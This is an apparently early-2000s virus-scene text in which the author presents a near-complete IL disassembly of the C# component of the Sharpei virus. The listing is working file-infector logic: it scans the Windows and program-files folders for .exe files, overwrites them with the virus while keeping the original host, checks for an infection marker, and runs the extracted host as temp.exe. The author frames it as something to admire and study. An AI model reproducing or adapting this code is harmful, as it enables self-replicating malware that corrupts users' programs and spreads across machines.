\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Disassembling Sharpei, the 1st C# malware...\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

I can't wait to see the source code of the 1st C# malware so i decided to download the binary
of the Sharpei virus from Gigabyte's homepage....

i analysed the structure using notepad and i found out that the malware is layered this way...

--------------------------------------------------------
Win32asm Header | VBS mass mailer | C# code
--------------------------------------------------------

so isolating the C# component is so easy...


presenting the disassembly of C# component of sharpei....

---------------------------------------------------------------------------------------------------------------------
//  Microsoft (R) .NET Framework IL Disassembler.  Version 1.0.2914.16
//  Copyright (C) Microsoft Corp. 1998-2001. All rights reserved.

// VTableFixup Directory:
// No data.
.assembly extern mscorlib
{
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\V.4..
  .ver 1:0:3300:0
}
.assembly extern System
{
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\V.4..
  .ver 1:0:3300:0
}
.assembly Sharp
{
  .custom instance void [mscorlib]System.Reflection.AssemblyCopyrightAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyKeyFileAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyDelaySignAttribute::.ctor(bool) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyTrademarkAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyKeyNameAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyProductAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyCompanyAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyConfigurationAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyDescriptionAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .hash algorithm 0x00008004
  .ver 1:0:786:36587
}
.mresource public Sharp.Sharp.resources
{
}
.module Sharp.exe
// MVID: {832C42CB-10F1-4F43-B7C9-86EB93BDBDB7}
.imagebase 0x00400000
.subsystem 0x00000002
.file alignment 512
.corflags 0x00000001
// Image base: 0x8264d000
.namespace Sharp
{
  .class public auto ansi beforefieldinit Sharp
         extends [mscorlib]System.Object
  {
    .field private static string virname
    .method private hidebysig static void 
            Main() cil managed
    {
      .entrypoint
      .custom instance void [mscorlib]System.STAThreadAttribute::.ctor() = ( 01 00 00 00 ) 
      // Code size       362 (0x16a)
      .maxstack  5
      .locals init (string V_0,
               class [mscorlib]System.IO.FileInfo V_1,
               class [mscorlib]System.IO.StreamWriter V_2,
               string V_3,
               string V_4,
               string[] V_5,
               class [mscorlib]System.IO.FileStream V_6,
               class [mscorlib]System.IO.FileStream V_7,
               unsigned int8[] V_8,
               int64 V_9,
               class [System]System.Diagnostics.Process V_10)
      IL_0000:  ldc.i4.7
      IL_0001:  call       string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder)
      IL_0006:  newobj     instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
      IL_000b:  callvirt   instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
      IL_0010:  stloc.0
      IL_0011:  ldloc.0
      IL_0012:  ldstr      "\\Sharp.vbs"
      IL_0017:  call       string [mscorlib]System.String::Concat(string,
                                                                  string)
      IL_001c:  newobj     instance void [mscorlib]System.IO.FileInfo::.ctor(string)
      IL_0021:  stloc.1
      IL_0022:  ldloc.1
      IL_0023:  callvirt   instance class [mscorlib]System.IO.StreamWriter [mscorlib]System.IO.FileInfo::CreateText()
      IL_0028:  stloc.2
      IL_0029:  ldloc.2
      IL_002a:  ldstr      "MsgBox \"You're infected with Win32.HLLP.Sharp, wri"
      + "tten in C#, by Gigabyte/Metaphase\",64,\"Sharp\""
      IL_002f:  callvirt   instance void [mscorlib]System.IO.TextWriter::Write(string)
      IL_0034:  ldloc.2
      IL_0035:  callvirt   instance void [mscorlib]System.IO.TextWriter::Close()
      IL_003a:  call       string [mscorlib]System.Environment::get_SystemDirectory()
      IL_003f:  newobj     instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
      IL_0044:  call       instance class [mscorlib]System.IO.DirectoryInfo [mscorlib]System.IO.DirectoryInfo::get_Parent()
      IL_0049:  callvirt   instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
      IL_004e:  stloc.3
      IL_004f:  ldc.i4.s   38
      IL_0051:  call       string [mscorlib]System.Environment::GetFolderPath(valuetype [mscorlib]System.Environment/SpecialFolder)
      IL_0056:  newobj     instance void [mscorlib]System.IO.DirectoryInfo::.ctor(string)
      IL_005b:  callvirt   instance string [mscorlib]System.IO.FileSystemInfo::get_FullName()
      IL_0060:  stloc.s    V_4
      IL_0062:  ldloc.s    V_4
      IL_0064:  ldstr      "*.*"
      IL_0069:  call       string[] [mscorlib]System.IO.Directory::GetDirectories(string,
                                                                                  string)
      IL_006e:  stloc.s    V_5
      IL_0070:  ldloc.3
      IL_0071:  call       void Sharp.Sharp::FileSearch(string)
      IL_0076:  ldloc.s    V_5
      IL_0078:  ldc.i4.s   11
      IL_007a:  ldelem.ref
      IL_007b:  call       void Sharp.Sharp::FileSearch(string)
      IL_0080:  ldloc.s    V_5
      IL_0082:  ldc.i4.s   12
      IL_0084:  ldelem.ref
      IL_0085:  call       void Sharp.Sharp::FileSearch(string)
      IL_008a:  ldloc.s    V_5
      IL_008c:  ldc.i4.s   13
      IL_008e:  ldelem.ref
      IL_008f:  call       void Sharp.Sharp::FileSearch(string)
      IL_0094:  ldsfld     string Sharp.Sharp::virname
      IL_0099:  ldc.i4.3
      IL_009a:  ldc.i4.1
      IL_009b:  newobj     instance void [mscorlib]System.IO.FileStream::.ctor(string,
                                                                               valuetype [mscorlib]System.IO.FileMode,
                                                                               valuetype [mscorlib]System.IO.FileAccess)
      IL_00a0:  stloc.s    V_6
      IL_00a2:  ldstr      "temp.exe"
      IL_00a7:  ldc.i4.4
      IL_00a8:  newobj     instance void [mscorlib]System.IO.FileStream::.ctor(string,
                                                                               valuetype [mscorlib]System.IO.FileMode)
      IL_00ad:  stloc.s    V_7
      IL_00af:  ldloc.s    V_6
      IL_00b1:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
      IL_00b6:  conv.i4
      IL_00b7:  ldc.i4     0x3000
      IL_00bc:  sub
      IL_00bd:  conv.ovf.u4
      IL_00be:  newarr     [mscorlib]System.Byte
      IL_00c3:  stloc.s    V_8
      IL_00c5:  ldloc.s    V_6
      IL_00c7:  ldc.i4     0x3000
      IL_00cc:  conv.i8
      IL_00cd:  ldc.i4.0
      IL_00ce:  callvirt   instance int64 [mscorlib]System.IO.Stream::Seek(int64,
                                                                           valuetype [mscorlib]System.IO.SeekOrigin)
      IL_00d3:  pop
      IL_00d4:  ldloc.s    V_6
      IL_00d6:  ldloc.s    V_8
      IL_00d8:  ldc.i4.0
      IL_00d9:  ldloc.s    V_6
      IL_00db:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
      IL_00e0:  conv.i4
      IL_00e1:  ldc.i4     0x3000
      IL_00e6:  sub
      IL_00e7:  callvirt   instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[],
                                                                           int32,
                                                                           int32)
      IL_00ec:  pop
      IL_00ed:  ldloc.s    V_7
      IL_00ef:  ldloc.s    V_8
      IL_00f1:  ldc.i4.0
      IL_00f2:  ldloc.s    V_6
      IL_00f4:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
      IL_00f9:  conv.i4
      IL_00fa:  ldc.i4     0x3000
      IL_00ff:  sub
      IL_0100:  callvirt   instance void [mscorlib]System.IO.Stream::Write(unsigned int8[],
                                                                           int32,
                                                                           int32)
      IL_0105:  ldloc.s    V_7
      IL_0107:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
      IL_010c:  stloc.s    V_9
      IL_010e:  ldloc.s    V_7
      IL_0110:  callvirt   instance void [mscorlib]System.IO.Stream::Close()
      IL_0115:  ldloc.s    V_9
      IL_0117:  ldc.i4.0
      IL_0118:  conv.i8
      IL_0119:  ble.s      IL_015d

      IL_011b:  ldsfld     string Sharp.Sharp::virname
      IL_0120:  ldstr      "MS02-010.exe"
      IL_0125:  callvirt   instance bool [mscorlib]System.String::EndsWith(string)
      IL_012a:  brtrue.s   IL_015d

      IL_012c:  newobj     instance void [System]System.Diagnostics.Process::.ctor()
      IL_0131:  stloc.s    V_10
      IL_0133:  ldloc.s    V_10
      IL_0135:  callvirt   instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo()
      IL_013a:  ldstr      "temp.exe"
      IL_013f:  callvirt   instance void [System]System.Diagnostics.ProcessStartInfo::set_FileName(string)
      IL_0144:  ldloc.s    V_10
      IL_0146:  callvirt   instance bool [System]System.Diagnostics.Process::Start()
      IL_014b:  pop
      IL_014c:  br.s       IL_015d

      .try
      {
        IL_014e:  ldstr      "temp.exe"
        IL_0153:  call       void [mscorlib]System.IO.File::Delete(string)
        IL_0158:  leave.s    IL_015d

      }  // end .try
      catch [mscorlib]System.Object 
      {
        IL_015a:  pop
        IL_015b:  leave.s    IL_015d

      }  // end handler
      IL_015d:  ldstr      "temp.exe"
      IL_0162:  call       bool [mscorlib]System.IO.File::Exists(string)
      IL_0167:  brtrue.s   IL_014e

      IL_0169:  ret
    } // end of method Sharp::Main

    .method private hidebysig static void 
            FileSearch(string DirectoryToCheck) cil managed
    {
      // Code size       225 (0xe1)
      .maxstack  5
      .locals init (string[] V_0,
               int32 V_1,
               int32 V_2,
               string V_3,
               class [mscorlib]System.IO.FileStream V_4,
               int32 V_5,
               class [mscorlib]System.IO.FileStream V_6,
               class [mscorlib]System.IO.FileStream V_7,
               unsigned int8[] V_8)
      IL_0000:  ldarg.0
      IL_0001:  ldstr      "*.exe"
      IL_0006:  call       string[] [mscorlib]System.IO.Directory::GetFiles(string,
                                                                            string)
      IL_000b:  stloc.0
      IL_000c:  ldloc.0
      IL_000d:  ldlen
      IL_000e:  conv.i4
      IL_000f:  stloc.1
      IL_0010:  ldc.i4.0
      IL_0011:  stloc.2
      IL_0012:  br         IL_00cf

      IL_0017:  ldloc.0
      IL_0018:  ldloc.2
      IL_0019:  ldelem.ref
      IL_001a:  stloc.3
      IL_001b:  ldloc.3
      IL_001c:  ldc.i4.3
      IL_001d:  ldc.i4.1
      IL_001e:  newobj     instance void [mscorlib]System.IO.FileStream::.ctor(string,
                                                                               valuetype [mscorlib]System.IO.FileMode,
                                                                               valuetype [mscorlib]System.IO.FileAccess)
      IL_0023:  stloc.s    V_4
      IL_0025:  ldloc.s    V_4
      IL_0027:  ldc.i4.s   18
      IL_0029:  conv.i8
      IL_002a:  ldc.i4.0
      IL_002b:  callvirt   instance int64 [mscorlib]System.IO.Stream::Seek(int64,
                                                                           valuetype [mscorlib]System.IO.SeekOrigin)
      IL_0030:  pop
      IL_0031:  ldloc.s    V_4
      IL_0033:  callvirt   instance int32 [mscorlib]System.IO.Stream::ReadByte()
      IL_0038:  stloc.s    V_5
      IL_003a:  ldloc.s    V_4
      IL_003c:  callvirt   instance void [mscorlib]System.IO.Stream::Close()
      IL_0041:  ldloc.s    V_5
      IL_0043:  ldc.i4.s   103
      IL_0045:  beq        IL_00cb

      .try
      {
        IL_004a:  ldloc.3
        IL_004b:  ldc.i4     0x80
        IL_0050:  call       void [mscorlib]System.IO.File::SetAttributes(string,
                                                                          valuetype [mscorlib]System.IO.FileAttributes)
        IL_0055:  ldloc.3
        IL_0056:  ldstr      "hostcopy.exe"
        IL_005b:  ldc.i4.1
        IL_005c:  call       void [mscorlib]System.IO.File::Copy(string,
                                                                 string,
                                                                 bool)
        IL_0061:  ldsfld     string Sharp.Sharp::virname
        IL_0066:  ldloc.3
        IL_0067:  ldc.i4.1
        IL_0068:  call       void [mscorlib]System.IO.File::Copy(string,
                                                                 string,
                                                                 bool)
        IL_006d:  ldstr      "hostcopy.exe"
        IL_0072:  ldc.i4.3
        IL_0073:  newobj     instance void [mscorlib]System.IO.FileStream::.ctor(string,
                                                                                 valuetype [mscorlib]System.IO.FileMode)
        IL_0078:  stloc.s    V_6
        IL_007a:  ldloc.3
        IL_007b:  ldc.i4.6
        IL_007c:  newobj     instance void [mscorlib]System.IO.FileStream::.ctor(string,
                                                                                 valuetype [mscorlib]System.IO.FileMode)
        IL_0081:  stloc.s    V_7
        IL_0083:  ldloc.s    V_6
        IL_0085:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
        IL_008a:  conv.i4
        IL_008b:  conv.ovf.u4
        IL_008c:  newarr     [mscorlib]System.Byte
        IL_0091:  stloc.s    V_8
        IL_0093:  ldloc.s    V_6
        IL_0095:  ldloc.s    V_8
        IL_0097:  ldc.i4.0
        IL_0098:  ldloc.s    V_6
        IL_009a:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
        IL_009f:  conv.i4
        IL_00a0:  callvirt   instance int32 [mscorlib]System.IO.Stream::Read(unsigned int8[],
                                                                             int32,
                                                                             int32)
        IL_00a5:  pop
        IL_00a6:  ldloc.s    V_7
        IL_00a8:  ldloc.s    V_8
        IL_00aa:  ldc.i4.0
        IL_00ab:  ldloc.s    V_6
        IL_00ad:  callvirt   instance int64 [mscorlib]System.IO.Stream::get_Length()
        IL_00b2:  conv.i4
        IL_00b3:  callvirt   instance void [mscorlib]System.IO.Stream::Write(unsigned int8[],
                                                                             int32,
                                                                             int32)
        IL_00b8:  ldloc.s    V_6
        IL_00ba:  callvirt   instance void [mscorlib]System.IO.Stream::Close()
        IL_00bf:  ldloc.s    V_7
        IL_00c1:  callvirt   instance void [mscorlib]System.IO.Stream::Close()
        IL_00c6:  leave.s    IL_00cb

      }  // end .try
      catch [mscorlib]System.Object 
      {
        IL_00c8:  pop
        IL_00c9:  leave.s    IL_00cb

      }  // end handler
      IL_00cb:  ldloc.2
      IL_00cc:  ldc.i4.1
      IL_00cd:  add
      IL_00ce:  stloc.2
      IL_00cf:  ldloc.2
      IL_00d0:  ldloc.1
      IL_00d1:  blt        IL_0017

      IL_00d6:  ldstr      "hostcopy.exe"
      IL_00db:  call       void [mscorlib]System.IO.File::Delete(string)
      IL_00e0:  ret
    } // end of method Sharp::FileSearch

    .method private hidebysig specialname rtspecialname static 
            void  .cctor() cil managed
    {
      // Code size       36 (0x24)
      .maxstack  2
      IL_0000:  ldsfld     class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::LocalMachine
      IL_0005:  ldstr      "Software\\Sharp"
      IL_000a:  callvirt   instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string)
      IL_000f:  ldstr      ""
      IL_0014:  callvirt   instance object [mscorlib]Microsoft.Win32.RegistryKey::GetValue(string)
      IL_0019:  castclass  [mscorlib]System.String
      IL_001e:  stsfld     string Sharp.Sharp::virname
      IL_0023:  ret
    } // end of method Sharp::.cctor

    .method public hidebysig specialname rtspecialname 
            instance void  .ctor() cil managed
    {
      // Code size       7 (0x7)
      .maxstack  1
      IL_0000:  ldarg.0
      IL_0001:  call       instance void [mscorlib]System.Object::.ctor()
      IL_0006:  ret
    } // end of method Sharp::.ctor

  } // end of class Sharp

} // end of namespace Sharp

//*********** DISASSEMBLY COMPLETE ***********************
// WARNING: Created Win32 resource file C:\sharp.res

-------------------------------------------------------------------------------------------------

don't wait for the source code of sharpei in coderz.net #3.... let us all study ilasm and be able to understand 
this listing....

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
by : IllAwesome\\\\\\\\\\\\\\\\\\
7152002\\\\\\\\\\\\\\\\\\\\\\\\\\\
"IL Asm is the pyucha..."\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\